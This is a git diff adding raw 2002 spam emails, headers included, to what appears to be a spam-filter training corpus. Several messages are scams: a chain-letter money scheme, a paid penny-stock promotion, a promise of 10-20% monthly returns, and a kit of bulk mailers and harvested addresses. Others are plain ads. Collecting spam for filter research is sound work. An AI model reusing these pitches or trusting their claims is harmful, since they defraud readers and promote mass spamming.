    + + + + + + +6828GXPG8-954AFsK4542FFOO2-493vwtv1743VTLq4-l41 diff --git a/bayes/spamham/spam_2/00675.233738762477d382d3954e043f866842 b/bayes/spamham/spam_2/00675.233738762477d382d3954e043f866842 new file mode 100644 index 0000000..0a536c4 --- /dev/null +++ b/bayes/spamham/spam_2/00675.233738762477d382d3954e043f866842 @@ -0,0 +1,384 @@ +From mcbride17377u48@horizonbiz.com Mon Jun 24 17:49:30 2002 +Return-Path: mcbride17377u48@horizonbiz.com +Delivery-Date: Mon Jun 10 13:42:43 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5ACgZG07850 for + ; Mon, 10 Jun 2002 13:42:37 +0100 +Received: from horizonbiz.com ([211.163.113.98]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with SMTP id g5ACg8m30427 for + ; Mon, 10 Jun 2002 13:42:16 +0100 +Reply-To: +Message-Id: <021c30b60e3e$8323c2a8$1ec31cc8@jrmryj> +From: +To: All.in.need.of.cash!@mandark.labs.netnoteinc.com +Subject: A little Investment, Will make you plenty 92-2 +Date: Mon, 10 Jun 0102 11:29:05 +0100 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +Importance: Normal +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C5_18C07A8D.E1271B68" + +------=_NextPart_000_00C5_18C07A8D.E1271B68 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +RGVhciBGdXR1cmUgTWlsbGlvbmFpcmU6DQoNCkknbGwgbWFrZSB5b3UgYSBw +cm9taXNlLiBSRUFEIFRISVMgRS1NQUlMIFRPIFRIRSBFTkQhIC0gRm9sbG93 +DQp3aGF0IGl0IHNheXMgdG8gdGhlIGxldHRlciAtIGFuZCB5b3Ugd2lsbCBu +b3Qgd29ycnkgd2hldGhlciBhDQpSRUNFU1NJT04gaXMgY29taW5nIG9yIG5v +dCwgd2hvIGlzIFByZXNpZGVudCwgb3Igd2hldGhlciB5b3Uga2VlcA0KeW91 +ciBjdXJyZW50IGpvYiBvciBub3QuIFllcywgSSBrbm93IHdoYXQgeW91IGFy +ZSB0aGlua2luZy4gSQ0KbmV2ZXIgcmVzcG9uZGVkIHRvIG9uZSBvZiB0aGVz +ZSBiZWZvcmUgZWl0aGVyLiBPbmUgZGF5IHRob3VnaCwNCnNvbWV0aGluZyBq +dXN0IHNhaWQgInlvdSB0aHJvdyBhd2F5ICQyNS4wMCBnb2luZyB0byBhIG1v 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2002 +Return-Path: makemoneyathome@btamail.net.cn +Delivery-Date: Mon Jun 10 01:08:27 2002 +Received: from domainserver.avantgarde-group.com ([203.153.133.60]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5A07DG07272 for + ; Mon, 10 Jun 2002 01:07:45 +0100 +Received: from btamail.net.cn ([213.121.248.197]) by + domainserver.avantgarde-group.com with Microsoft SMTPSVC(5.0.2195.3779); + Mon, 10 Jun 2002 07:05:08 +0700 +Message-Id: <0000629b4c9e$0000706f$00001c17@btamail.net.cn> +To: +From: makemoneyathome@btamail.net.cn +Subject: BANNED CD! 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    +
    + + +IBXG E-mailer 7/9/02 + + + + + + + +
    Rapid + Growth Health Care Company: Stock Symbol “IBXG” Trading Around + 16 Cents
    +
    + + Market Watch Corporation
    +
    + REVENUES + TO SOAR OVER 500% TO $18 MILLION FOR + OTC-BB "IBXG"
    + ACQUISITION OF TWO CYBERCARE, INC. OPERATING UNITS MOVES FORWARD
    +
    +
    + OTC-BB Symbol: IBXG
    + Shares Outstanding (est.): + 38,983,380
    + Float (est.): 7,887,966
    +     Recent Price: 16 cents
    + Year Low/High: + $0.10 - $0.90
    + Contact: 561-998-3435
    + Websites: Market + Watch Corporation, iBX Group, Inc.
    + Press Releases: + IBXG + Press Releases
    +
    +
    +     A + Situation That Could Revolutionize the Health Care Industry
    +     +
    +
    + + + + + + +
    +
    STRONG HEALTH CARE SECTOR GROWTH +  Most investors desire to be in a stock from the beginning + of its growth, “IBXG” is one of those opportunities. + Revenues to increase over 500 % + to over $18 Million from $3 Million with its + pending acquisition of 47 physical therapy outpatient centers and + institutional pharmacy businesses, currently owned by CyberCare, + Inc. “IBXG” also just announced a national alliance + with Patient-Pay.com + that will enable “IBXG” to market its services on a + national scale. We believe the potential is enormous for this expanding + dynamic Health Care Information Technology Company.
    +
    + HEALTH CARE SECTOR REREPRESENTS 15% OF THE TOTAL US + GROSS DOMESTIC PRODUCT While inflation + in the US has been around 2% per year, the US Health Care’s + inflationary rate rose over 11% per year. Health care costs are + spiraling out of control. “IBXG” provides technology + based products and services in full compliance with newly mandated + government requirements (HIPAA), that help medical professionals + save time and money, by utilizing “IBXG”s state of the + art systems.
    +
    + UNDERSTANDING HIPAA + The Health Insurance Portability and Accountability Act of 1996 + (Public Law 104-191), + also known as HIPAA, was enacted as part of a broad Congressional + attempt at incremental healthcare reform. Part of the law requires + the US Dept. of Health and Human Services (DHHS) to develop standards + and requirements for maintenance and transmission of health information + that identifies individual patients. The requirements outlined by + the law are far-reaching for all healthcare organizations that maintain + or transmit electronic health information must comply. “IBXG” + offers all health care providers with a viable, already in place + solution to “HIPAA” compliance.
    +
    + IBXG  SPECIALIZES IN HEALTH DATA MANAGEMENT + It is a huge market comprised of over one million health care professionals. + This company has emerged, with solutions to many problems facing + the Health Care Industry, by providing health care professionals + the ability to deliver outstanding patient care with optimum efficiency. + In past years, venture capitalists have invested more than $20 billion + in information technology companies, confirming a very large financial + interest in the health care sector.
    +
    + WILL IBXG REVOLUTIONIZE THE HEALTH CARE INDUSTRY?     + They could. Virtually every aspect of the way health care is delivered + is impacted in a positive fashion, by IBXG's technology. IBXG has + developed and deployed innovative, cost-effective methods for integrating + financial, administrative and information services for the health + care industry. Utilizing in-house development capabilities combined + with the latest technologies and Internet–based communication + services, “IBXG” assists hospital-based physician groups, + multi-physician specialty practice and health care service organizations + in managing the efficiency of account receivable, workflow and compliance.virtually + every aspect of the way health care is delivered. Imagine your doctor + being able to access your medical records from any location, anywhere + in the world . . . instantly!
    +
    		+ OUTSTANDING + RECENT DEVELOPMENTS +
      +
    • Revenues to increase over 500% to $18 + MILLION. +
    • National alliance with Patient-Pay.Com. +
    • Wall Street Corporate Reporter interview, available + here
      + July 15, 2002. +
    • Significant gains in quarterly year to year revenues. +
    • Extension of agreements with Intracoastal Health Systems and + Providence Hospital (one of Ascension + Health Group’s 87 affiliated hospitals). +
    • Increased revenues with Cerberus Capital Management, L.P.,a + multi-billion dollar New York hedge fund. +
    • Service contract with MDVIP, + MDVIP was featured in an NBC Nightly News Tom + Brokaw interview. +
    • Acquired Sportshealthnet.com. +
    • Contract with award winning software company, Millbrook + Software Corporation for additional revenue. +
    • Two national product launches were announced, one for the + $1.5 BILLION durable medical equipment industry and the + other a proprietary online consumer medical reports and information + service. +
    • Alliance with Sun + Capital that will allow IBXG to offer accounts receivable + funding programs nationwide. +
    • Extended partnership alliance with Advanced Information Technologies + that taps the $5 BILLION document management industry. +
    • Alliance with Digital + Ingenuity to provide Internet- protocol telephony + services (a billion-dollar industry). +
    +
    + +
    +
    + + + + +
    Disclaimer + & Disclosure: Market Watch Corporation is not a registered + financial advisory. The information presented by Market Watch Corporation + is not an offer to buy or sell securities. Market Watch Corporation accumulates + information based from public sources and the advertised company, then + distributes opinions and comments. Penny stocks are considered to be highly + speculative and may be unsuitable for all but very aggressive investors. + Market Watch Corporation may hold positions in companies mentioned and + may buy or sell at any time. This profile of IBXG was a paid advertisement + by IBXG. IBXG has paid Market Watch Corporation $3,500 for this advertisement + and 750,000 restricted shares for investor awareness services for one + year, an affiliated company of Market Watch Corporation has been paid + 250,000 restricted shares of IBXG stock from a third party shareholder. + Please always consult a registered financial advisor before making any + decisions. Information within this advertisement contains forward looking + statements within the meaning of Section 27(e) of the U.S. Securities + Act of 1933 and Section 21(g) of the U.S. Securities Exchange Act of 1934 + and the Private Securities Litigation Reform Act Of 1995. Forward looking + statements are based on expectations, estimates and projections at the + time the statements are made that involve a number of risks and uncertainties + which could cause actual results or events to differ materially from those + presently anticipated. Forward looking statements may be identified through + the use of words such as expects, will, anticipates, estimates, believes, + or by statements indicating certain actions may, could or might occur. + We encourage our readers to invest carefully and read the investor information + available at the Web sites of the U.S. Securities and Exchange Commission + (SEC) at http://www.sec.gov and/or the + National Association of Securities Dealers (NASD) at http://www.nasd.com. + Readers can review all public filings by companies at the SEC’s + EDGAR page. The NASD has published information on how to invest carefully + at its Web site.
    + 

    +  You are receiving + this message because you subscribed on one of our partner sites using the + refer a friend page. We value privacy as our clients demand it and we  + will gladly unsubscribe you upon request. To send a request, simply + click here and follow directions. We + guarantee that you will be unsubscribed within 48 hours. Nurel is + only the delivery source for this message.  Under SEC rules, we are + required to inform you that we were paid three thousand five hundred + dollars (US) for our services which is limited to the delivery of this + message only.

    +

    + Thank you.

    +

    + (c) 2002 Nurel

    +     +

    +
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It was submitted by + (SafeInvestments@NiceReturns12.com) on Saturday, July 13, 2002 at 03:46:17 +--------------------------------------------------------------------------- + +Looking for a high return on your money?: . + +10%-20% Monthly Return On Your Secure Investment : . + + Audited From Multiple Agencies : . + +Start with as little as $500 dollars and start earning returns monthly!: . + +For Complete Details Email: MarylandClub@mol.mn : . + +To be removed email: RemoveFromList@Inbox.lv : . + +--------------------------------------------------------------------------- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git 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+¡iHP-C4182X ¡jLaserJet 8100/8150 ¡m§åµo»ù2,550 ¤¸¡n + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00707.c863801ca5be49e90ee68ab449ba5a84 b/bayes/spamham/spam_2/00707.c863801ca5be49e90ee68ab449ba5a84 new file mode 100644 index 0000000..724cbb8 --- /dev/null +++ b/bayes/spamham/spam_2/00707.c863801ca5be49e90ee68ab449ba5a84 @@ -0,0 +1,120 @@ +From fork-admin@xent.com Mon Jul 22 18:41:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6AC42440C8 + for ; Mon, 22 Jul 2002 13:41:24 -0400 (EDT) +Received: from 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+¡iHP-C4182X ¡jLaserJet 8100/8150 ¡m§åµo»ù2,550 ¤¸¡n + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00709.59ca382f87c5eacb934430e28cd98d98 b/bayes/spamham/spam_2/00709.59ca382f87c5eacb934430e28cd98d98 new file mode 100644 index 0000000..d921a7e --- /dev/null +++ b/bayes/spamham/spam_2/00709.59ca382f87c5eacb934430e28cd98d98 @@ -0,0 +1,46 @@ +From jim342u47@saintmail.net Wed Jul 17 08:59:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id DACDA43D45 + for ; Wed, 17 Jul 2002 03:59:06 -0400 (EDT) +Received: from dogma.slashnull.org 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    +To be removed Click her= +e     + + + + diff --git a/bayes/spamham/spam_2/00710.64d9eb4c4a7b8c33ebcdb279e0c96d05 b/bayes/spamham/spam_2/00710.64d9eb4c4a7b8c33ebcdb279e0c96d05 new file mode 100644 index 0000000..9e2c9dd --- /dev/null +++ b/bayes/spamham/spam_2/00710.64d9eb4c4a7b8c33ebcdb279e0c96d05 @@ -0,0 +1,301 @@ +From martenb@aol.com Wed Jul 17 14:13:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id A998043FA2 + for ; Wed, 17 Jul 2002 09:13:38 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 14:13:38 +0100 (IST) +Received: from aol.com ([213.86.103.20]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6HD9SJ21165 for ; + Wed, 17 Jul 2002 14:09:28 +0100 +Reply-To: +Message-Id: <025e46c53a6a$5844c6c5$3db56bb7@hqaxpa> +From: +To: +Subject: Never pay eBay listing fees again! +Date: Wed, 17 Jul 0102 05:09:08 +1100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: The Bat! (v1.52f) Business +Importance: Normal +Content-Transfer-Encoding: 8bit + +Hi, + +I'm a college dropout. I work about two hours a day. +I'm ambitious, but extremely lazy, and I make over +$250,000 a year. Are you curious yet? + +In a minute I'm going to tell you my secret, +it's the dirty little secret of the Internet ... + +You've probably heard stories about people making +whopping huge money online, but you thought they +were the big corporate execs, famous programmers, or +boy-geniuses. + +Well, grasshopper, think again ... + +It's people like you and me that are making the real +money. Yep, people like YOU AND ME! + +Ever since the "dot com bubble" burst in 1999, small-time +entrepreneurs are getting richer while the Fortune 500 +companies look for bankruptcy lawyers. + +Today small business owners and ordinary folks +like you and me can use the web to achieve complete +financial freedom with NO INVESTMENT and very little +work. How? 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All +it takes is a few days of study, plenty of ambition, +and some basic familiarity with the Internet. + +I quit college when I was 19 to capitalize on the +"Dot Com" mania, and I've never looked back. I +started with no money, no product to sell, and only +the most rudimentary computer skills. I saw an +opportunity and I seized it. A few years later, +I bought my own home - with CASH. + +You don't need any money. You don't need a product. +You don't need to be a computer nerd and no experience +whatsoever is required. + +If you saw an employment ad in the newspaper like that +you'd jump right on it. It would be a dream come true. +So what are you waiting for?! + +I'm going to ask you four simple questions. If you answer +YES to all of them, then I can almost promise that you +will make at least $100,000 using bulk email this year. + +Here goes ... + +Do you have basic experience with the web? +Do you have a computer and an Internet connection? +Do you have a few hours each day of free time? +Do you want to earn some extra money with an eye towards +complete financial freedom? + +If you answer YES to these questions, you could be +making $5,000 - $20,000 per week working from your +home. Kiss your day job goodbye - this sure beats +the 9-5 daily grind! + +All you need is ambition and commitment. This +is no "get rich quick scheme". You have to work +to make big bucks, but ANYONE - and I mean ANYONE - can do +it. + +You're probably wondering if it's hard to get started. +Don't worry, it's not! I will show you step-by-step +how to start your first email campaign and how to +build a booming online business. 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This seperate guide contains a daily +routine for you to follow with specific, exact +instructions on how to get started. On day one, for +example, I teach you where to find a product to sell. +The next day you learn how to build a fresh mailing +list. On the seventh day, you just click send! Your +very first campaign is ready to go. + +As a special bonus, you'll recieve a FREE copy +of our STEALTH MASS MAILER, a very powerful bulk +email program which retails for $49.99! I'll even +include 7 million email addresses absolutely FREE +if you order NOW! + +Stop wasting your money on auction listing fees, +classifieds, and banner ads - they don't work, and +never will! If you are SERIOUS about making money +on the Internet, bulk email is your only option. +What are you waiting for? Few of us are willing +to share this knowledge, but I promise to teach +you everything I know about bulk emailing in this +extraordinary bulk emailer's handbook ... The Bulkbook! + +Once again, here's the deal. You give me $29.99. +I give you ALL THE TOOLS YOU NEED to become a +successful, high profit bulk emailer. INCLUDING: + +** THE BULKBOOK +Teaches you step-by-step how to become a high profit +bulk emailer. Secret techniques and tips never +before revealed. + +** SEVEN DAYS TO BULK EMAIL SUCCESS +Provides detailed day-by-day instruction to start sending +your first email campaign in seven days. + +** 600 Email subjects that PULL LIKE CRAZY + +** EMAIL LIST MANAGER +Manage your email lists quickly and easily. Very +user-friendly, yet powerful, software. + +** STEALTH MASS MAILER +Software can send up to 50,000 emails an hour automatically. +Just load them in there and click SEND! + +** ADDRESS ROVER 98 and MACROBOT SEARCH ENGINE ROBOT +Extracts email addresses from databases and search engines +at speeds of over 200,000 per hour. + +** WORLDCAST EMAIL VERIFIER +Used to verify your email addresses that you extract to +make sure they're valid. + +** EBOOK PUBLISHER +Easily publish your own e-books and reports for resale using, +you guessed it, bulk email! + +** SEVEN MILLION EMAIL ADDRESSES +This huge list will get you started bulking right away. +I harvested these addresses myself, the list is filled +with IMPULSE BUYERS ready to respond to your ads! + +If you added up all of the FULL VERSION BULK EMAIL software +included with the BULKBOOK package, it would total over +$499. I am giving you the whole bundle for only $29.99. +That means there is no other out-of-pocket startup expense +for you. Nothing else to buy, no reason to waste money on +software that doesn't work. With this one package, you get +EVERYTHING YOU NEED to START BULK EMAILING RIGHT AWAY. + +Are you willing to invest $29.99 for the opportunity +to make a SIX FIGURE INCOME on the Internet with no +startup cash and very little effort? + +Remember, you will recieve a toll-free phone number +for 24 hour expert advice and consultation FROM ME +PERSONALLY. + +To order the Bulkbook right now for only $29.99 with +a Visa or Mastercard, please click on the link below. +This will take you to our secure server for order +processing: + +http://www.2003marketing.com/bulkbook.htm + +Note: The Bulkbook will be delivered electronically +within 24 hours. It is not available in printed form. + +You may also pay with cash, check or money +order by printing the order form below and +sending it with your payment. + +------------------------- CUT HERE ----------------------- + +Product: "The Bulkbook" +Price: $29.99 + +HOW TO ORDER BY MAIL: Print out this order +form and send cash, personal check, money +order or cashier's check to the address listed below: + +Internet Products Enterprises Inc. +45 State St. Unit 253 +Montpelier, VT 05602 + +Your Shipping Information: + +Your Name_____________________________________________ +Your Address__________________________________________ +Your City_____________________________________________ +State / Zip___________________________________________ +Phone #: _____________________________________________ +(For problems with your order only. No salesmen will call.) + +Email Address________________________________________ + + +If paying by credit card, please fill in the information below: + +Credit Card Number:________________________________ +Expiration Date:___________________________ +Signature:_________________________ +Date:____________________ + + +IMPORTANT LEGAL NOTE: There are no criminal laws against +the non-fraudulent sending of unsolicited commercial email +in the United States. However, other countries have passed +laws against this form of marketing, so non-US residents +should check local regulations before ordering. + +*********************************************************** +Our company is strictly opposed to unsolicited email. +To be removed from this opt-in list, please send a +request to "bulkexpert@yahoo.com" +*********************************************************** +1027zbAU4-744CWZI4637aGiQ5-254sWzM249l35 + + diff --git a/bayes/spamham/spam_2/00711.75e5cd5b1ad023e0b50175e4dc5c781e b/bayes/spamham/spam_2/00711.75e5cd5b1ad023e0b50175e4dc5c781e new file mode 100644 index 0000000..4bdd471 --- /dev/null +++ b/bayes/spamham/spam_2/00711.75e5cd5b1ad023e0b50175e4dc5c781e @@ -0,0 +1,139 @@ +From webmaster@bidstogo.biz Tue Jul 16 20:07:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id B121243FA2 + for ; Tue, 16 Jul 2002 15:07:02 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 16 Jul 2002 20:07:02 +0100 (IST) +Received: from xchangeserver.BidsToGo (mail.bidstogo.biz [198.143.244.58]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6GJ7eJ06929 for + ; Tue, 16 Jul 2002 20:07:40 +0100 +Received: from PWS6000 ([192.168.1.101]) by xchangeserver.BidsToGo with + Microsoft SMTPSVC(5.0.2195.4905); Tue, 16 Jul 2002 14:25:27 -0400 +From: BidsToGo +To: +Subject: "BidsToGo" is places to go, things to do +Date: Tue, 16 Jul 2002 14:25:27 -0400 +Content-Transfer-Encoding: 7bit +Message-Id: +X-Originalarrivaltime: 16 Jul 2002 18:25:27.0906 (UTC) FILETIME=[28DEC420:01C22CF6] +Content-Type: text/html; charset="US-ASCII" + + + + + + +Hello from BidsToGo.biz + + + + + +

     

    + + + + + + +
    Hello, +
    + Privacy policy: To + permanently opt out of our mailings simply + send a blank email to optout@bidstogo.biz.
    +     		  +
    + +

    BidsToGo invites you +visit and explore  +http://www.bidstogo.biz/, the site +dedicated to places to go and + things to do. You can use +BidsToGo to advertise, sell or auction +places to go and things to do - and right now it is FREE to make a basic +listing.

    + +

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    Vacation packs + +
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    +     		Game tickets + +
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    Training
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    +     		 
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    Visit http://www.bidstogo.biz/.

    + +
    + +

      +

    +
    + Privacy policy: To + permanently opt out of our mailings simply + send a blank email to optout@bidstogo.biz. + Contact + CustomerService + for more information.
    +
    + + + + + + diff --git a/bayes/spamham/spam_2/00712.8c3eca8af0dc686116aa7ea07fe3fa8f b/bayes/spamham/spam_2/00712.8c3eca8af0dc686116aa7ea07fe3fa8f new file mode 100644 index 0000000..1320d1a --- /dev/null +++ b/bayes/spamham/spam_2/00712.8c3eca8af0dc686116aa7ea07fe3fa8f @@ -0,0 +1,39 @@ +X-Status: +X-Keywords: +X-Persona: +Return-Path: +Delivered-To: fallingrock.net%david@fallingrock.net +Received: (cpmta 10721 invoked from network); 16 Jul 2002 11:34:10 -0700 +Received: from 61.78.78.173 (HELO localhost) + by smtp.c001.snv.cp.net (209.228.32.110) with SMTP; 16 Jul 2002 11:34:10 -0700 +X-Received: 16 Jul 2002 18:34:10 GMT +Reply-To: webmaster@hyundaitrade.biz +Return-Path: webmaster@hyundaitrade.biz +From: Paul smith +To: david@fallingrock.net +Subject: Personal Alcohol Detector +Date: Wed, 17 Jul 2002 03:38:59 +0900 +Mime-Version: 1.0 + + + + +For your safe drive...and keep your safety with PersonalAlcoholDetector.. + + + +Removal Instructions are at the end of this letter. Thank you

    For your safe drive...and keep your safety with Personal Alcohol Detector..
     

    +

    The key technology for the function and performance of
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    Sincerely Yours,

    Alcohol org +Inc.
    Mr.Paul Smith
    Tel : 82-2-459-3123
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    ***    Removal Instructions***
    We respect your privacy and we want you to be happy. If +you wish to unsubscribe from mailing list please click +here. We will never send you again +and apologize for your inconvenience caused.

    + + +     + diff --git a/bayes/spamham/spam_2/00713.8d1b1c5afc226377ec951564ad402b9c b/bayes/spamham/spam_2/00713.8d1b1c5afc226377ec951564ad402b9c new file mode 100644 index 0000000..f25f604 --- /dev/null +++ b/bayes/spamham/spam_2/00713.8d1b1c5afc226377ec951564ad402b9c @@ -0,0 +1,459 @@ +From nbc@insurancemail.net Wed Jul 17 00:07:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id 09A9343D45 + for ; Tue, 16 Jul 2002 19:07:18 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 00:07:18 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6GN3sJ22852 for ; Wed, 17 Jul 2002 00:03:54 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Tue, 16 Jul 2002 19:04:20 -0400 +Subject: Pru Life's UL Portfolio Rocks +To: +Date: Tue, 16 Jul 2002 19:04:20 -0400 +From: "IQ - NBC" +Message-Id: <285a7401c22d1d$1e5dcb00$6b01a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcItB/ODm/IjuH4HTui8gkBXxhCJUg== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 16 Jul 2002 23:04:20.0859 (UTC) FILETIME=[1E7CC4B0:01C22D1D] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_266701_01C22CE6.6C78C6F0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_266701_01C22CE6.6C78C6F0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + PruLife Universal Protector + - and - + Prulife Universal Plus + + ROCK! + + +Case Closed! Permanent Life Insurance at Affordable Rates + +Whether your clients are looking to pay the Minimum Premiums needed to +Endow* a policy at a specific age or pay sufficient premiums needed to +guarantee** a death benefit for +life, Prudential has the answer. + +PruLife Universal ProtectorSM offers competitive lifetime death benefit +guarantee premiums. PruLife Universal PlusSM offers competitive minimum +premiums to endow and competitive long term cash value accumulation. + +And that's not all. Look what else Prudential+ has to offer... + + _____ + +COMPETITIVE COMPENSATION + Rolling Commissionable Target Premiums (R-CTP)++. +First year compensation will be paid until the R-CTP is reached during +the first 24 policy months. + First year commissions that do not reduce at any issue age. + COMPETITIVE UNDERWRITING + Issue ages 0-90 + Continuation of coverage beyond age 100 (policy has no maturity +age). + Preferred Non-Smoker category for cigar smokers, pipe smokers +and smokeless tobacco users (nicotine patch and gum users also may be +eligible if they have not smoked cigarettes in the last 12 months) + Preferred Plus Smoker category for healthy Cigarette Smokers. + + Aviation: Preferred rates may be offered to commercial pilots +and most student and private pilots who fly up to 200 hours per year, +regardless of whether helicopters or fixed wing aircraft are flown. + Treadmills not required for preferred rates for face amounts +within our capacity limits + Improved Ratings for Prostate Cancer, Hepatitis B & C + Heart attack? Consider Prudential as soon as the prospect +returns to normal activities + Liberal Build Tables to qualify for Preferred rates +INCREASED CAPACITY + $70 million capacity without the need to discuss a risk with +reinsurers. + Facultative reinsurance may be available for cases in excess of +$70 million. + _____ + +Click our logo for the BGA nearest you! +Click here for the NBC BGA Locator! + +? or ? + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + + National Brokerage Consortium +* Minimum Premium to Endow is a hypothetical, non-guaranteed premium +that, based on current charges and the current interest rate, would keep +the policy in force to age 100. Interest rates and charges will change +over time, as will the Minimum Premium to Endow. These premiums are +shown as hypothetical figures based on the stated assumptions and are +shown for comparative purposes only. The actual premium needed to keep +the policy in force is based on actual results and may be higher or +lower. ** All guarantees are based on the claims-paying ability of the +issuer. ++ PruLife Universal Protector is issued by Pruco Life Insurance Company. +PruLife Universal Plus also is issued by Pruco Life Insurance Company in +all states except New Jersey and New York, where it is issued by Pruco +Life Insurance Company of New Jersey, both Prudential Financial, Inc. +companies located at 213 Washington Street, Newark, NJ 07102-2992. Each +is solely responsible for its own financial condition and contractual +obligations. +++ Available on contracts dated Jan. 1, 2002 & later. Not available in +New York & New Jersey. +Prudential Financial is a service mark of The Prudential Insurance +Company of America, Newark, NJ and its affiliates. For financial +professional use only. Not for use with the public. +IFS-A072238 Ed. 7/2002 Exp. 12/2003 +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_266701_01C22CE6.6C78C6F0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Pru Life's UL Portfolio Rocks + + + +=20 + + =20 + + + =20 + + +
    + 3D"PruLife
    + 3D"-
    + 3D"Prulife

    + 3D"ROCK!"
    +  
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + +
    =20 +

    + Case = +Closed! + Permanent Life Insurance at Affordable = +Rates

    + +

    Whether your clients are looking to pay the Minimum=20 + Premiums needed to Endow* a policy at a specific age or = +pay sufficient=20 + premiums needed to guarantee** a death benefit for
    + life, Prudential has the answer.

    +

    PruLife Universal ProtectorSM offers=20 + competitive lifetime death benefit guarantee premiums. = +PruLife Universal=20 + PlusSM offers competitive minimum premiums to = +endow and=20 + competitive long term cash value accumulation.

    +     +

    And that's not all. = +Look what=20 + else Prudential+ has to offer...

    +
    =20 +
    + + =20 + + + =20 + + + + =20 + + + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + =20 + + + + =20 + + + +
    COMPETITIVE COMPENSATION
      + Rolling Commissionable Target = +Premiums (R-CTP)++.
    + First year compensation will be paid until the R-CTP = +is reached=20 + during the first 24 policy months.     +
      + First year commissions=20 + that do not reduce at any issue age. +
     COMPETITIVE UNDERWRITING
     Issue ages = +0-90
     Continuation of = +coverage=20 + beyond age 100 (policy has no maturity = +age).
      + Preferred Non-Smoker category + for cigar smokers, pipe smokers and smokeless tobacco = +users=20 + (nicotine patch and gum users also may be eligible if = +they have=20 + not smoked cigarettes in the last 12 months) +
     Preferred Plus = +Smoker category=20 + for healthy Cigarette Smokers.
      + Aviation: Preferred rates=20 + may be offered to commercial pilots and most student = +and private=20 + pilots who fly up to 200 hours per year, regardless of = +whether=20 + helicopters or fixed wing aircraft are flown. +
     Treadmills not = +required=20 + for preferred rates for face amounts within our = +capacity limits
     Improved = +Ratings for Prostate=20 + Cancer, Hepatitis B & C
      Heart attack? = +Consider=20 + Prudential as soon as the prospect returns to normal = +activities
     Liberal Build = +Tables to=20 + qualify for Preferred rates
    INCREASED = +CAPACITY
     $70 million = +capacity without=20 + the need to discuss a risk with = +reinsurers.
     Facultative = +reinsurance=20 + may be available for cases in excess of $70 = +million.
    +
    +
    + Click our logo for the BGA nearest = +you!
    + 3D"Click
    + — or —
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + + =20 + + + + =20 + + + + =20 + + + + + + =20 + + + + + +
    Please fill = +out the form below for more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +
    + 3D"National=20 +
